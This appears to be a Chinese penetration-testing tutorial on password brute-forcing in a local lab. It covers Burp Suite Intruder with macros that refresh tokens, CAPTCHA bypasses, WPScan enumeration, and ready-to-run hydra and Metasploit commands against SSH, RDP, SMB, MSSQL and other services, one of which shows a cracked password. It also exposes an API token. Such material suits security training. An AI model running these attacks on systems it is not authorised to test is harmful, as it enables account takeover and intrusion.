穷举

本文出现域名均为搭建的本地靶场域名

1 概述

​ 穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令、中度口令、强度口令。如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

常见服务

服务 端口
web 80
mysql 3306
Microsoft SQL Server 1433
https 443
ftp 21
ssh 22
dns 53
tomcat 8080
redis 6379
rsync 873
PostgreSQL 5432
cobaltstrike teamserver 50050
smtp 25
pop3 110
远程终端rdp 3389
smb 445
rpc 135
imap 143
NetBIOS 139
SMTPS 465
POP3S 995
mogodb 27018
memcached 11211
telnet 23
oracle 1521

2 burpsuite穷举后台密码

抓包,然后放到Intruder模块,添加payload位置

加载payloads

开始攻击,爆破出密码

成功登录后台

3 带有Token防御的穷举爆破

有的网站存在一次性Token,再用过一次后就失效了,导致没办法爆破

这里可以使用burpsuite的宏设置,打开Settings中的Session

添加规则,选择运行宏。

选择添加宏

这里选择包含Token的响应

选择项目设置,在自定义参数位置添加,选择要获取的参数,这里要注意参数名一定要一致

一通确认,将更改参数名设置一下

可以更改一下作用范围

然后就可以开始爆破了,不过还是会有一些几率替换失败,感觉是爆破线程过高的原因,调低线程以后爆破成功了。

4 针对有验证码的穷举爆破

4.1 Cookie不存在不验证绕过

在请求包Cookie中存在字段PHPSESSID

其值其实对应于一个文件

这里如果对其没有验证,则可以删除PHPSESSID实现绕过,爆破成功

4.2 后台验证码不销毁绕过

有的网站验证码在使用后不会销毁,可以复用,达到绕过

4.3 验证码识别爆破

使用验证码识别工具,直接识别出验证码值,进行爆破

这里正常抓包,添加爆破位置,添加验证码路径,载入字典即可,在载入字典时需修改Line EndingsWindows,不然字典导不进去

填写验证码错误信息,即可开始爆破

5 一些常见软件登录穷举

5.1 phpmyadmin

通常爆破adminroottest用户密码

下载地址

5.2 WordPress

可以拼接路径,查看账户信息/wp-json/wp/v2/users

使用WPScan工具,首先在WPScan注册账户获取token,使用以下命令

1
$ wpscan --url http://xxx.com -e u -P ./top1000.txt --api-token 6qGDsJorRIvSazNIg9s4mwjxX8nOUPRL3to6fdJgwoo

6 hydra工具使用

1
2
3
4
5
6
7
8
9
10
11
12
13
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码

6.1 ssh

配置Ubuntu root用户ssh登录

1
2
3
4
$ sudo apt install openssh-server # 安装ssh
$ sudo nano /etc/ssh/sshd_config
# PermitRootLogin prohibit-password ——> PermitRootLogin yes
$ sudo service ssh restart # 重启ssh服务

使用hydra对ssh密码进行爆破

1
$ hydra -l root -P ./top500.txt -e ns -vV -t 1 -f 192.168.31.50 ssh

6.2 ftp

1
$ hydra -l c5moon -P ./top500.txt -e ns -vV 192.168.31.51 ftp

6.3 mysql

1
$ hydra -l root -P ./top500.txt -e ns -vV -f 192.168.31.57 mysql

6.4 smb

1
$ hydra -l administrator -P ./top500.txt -e ns -vV -f 192.168.31.57 smb

6.5 rdp

1
$ hydra -l administrator -P ./top500.txt -e ns -vV -f 192.168.31.57 rdp

6.6 http

1
$ hydra -l admin -P ./top500.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

6.7 mssql

1
$ hydra -l sa -P ./top500.txt -e ns -vV -f 192.168.31.57 mssql

6.8 redis

1
$ hydra -P ./top500.txt -e ns -vV -f 192.168.31.57 redis

7 metasploite穷举模块

7.1 mssql爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ msfconsole # 启动msf

msf6 > search auxiliary/scanner/mssql/mssql_login # 搜索模块

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/mssql/mssql_login . normal No MSSQL Login Utility


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mssql/mssql_login

msf6 > use auxiliary/scanner/mssql/mssql_login # 使用模块
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session

msf6 auxiliary(scanner/mssql/mssql_login) > info # 查看模块信息
1
msf6 auxiliary(scanner/mssql/mssql_login) > show options # 显示参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.31.57
RHOSTS => 192.168.31.57
msf6 auxiliary(scanner/mssql/mssql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE ./top500.txt
PASS_FILE => ./top500.txt
msf6 auxiliary(scanner/mssql/mssql_login) > run

[*] 192.168.31.57:1433 - 192.168.31.57:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.31.57:1433 - No active DB -- Credential data will not be saved!
[-] 192.168.31.57:1433 - 192.168.31.57:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[+] 192.168.31.57:1433 - 192.168.31.57:1433 - Login Successful: WORKSTATION\sa:123456
[*] 192.168.31.57:1433 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.31.57:1433 - Bruteforce completed, 1 credential was successful.
[*] 192.168.31.57:1433 - You can open an MSSQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed

7.2 邮箱爆破

发邮件使用pop3协议,端口默认110。收邮件使用smtp服务,端口默认25

1
2
3
4
5
6
7
8
9
msf6 auxiliary(scanner/pop3/pop3_login) > set RHOSTS 192.168.31.57
RHOSTS => 192.168.31.57
msf6 auxiliary(scanner/pop3/pop3_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/pop3/pop3_login) > set USERNAME test@redteam.com
USERNAME => test@redteam.com
msf6 auxiliary(scanner/pop3/pop3_login) > set PASS_FILE ./top500.txt
PASS_FILE => ./top500.txt
msf6 auxiliary(scanner/pop3/pop3_login) > exploit

7.3 Tomcat爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8081
RPORT => 8081
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOST 192.168.31.51
RHOST => 192.168.31.51
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE ./top500.txt
PASS_FILE => ./top500.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE ""
USER_FILE =>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit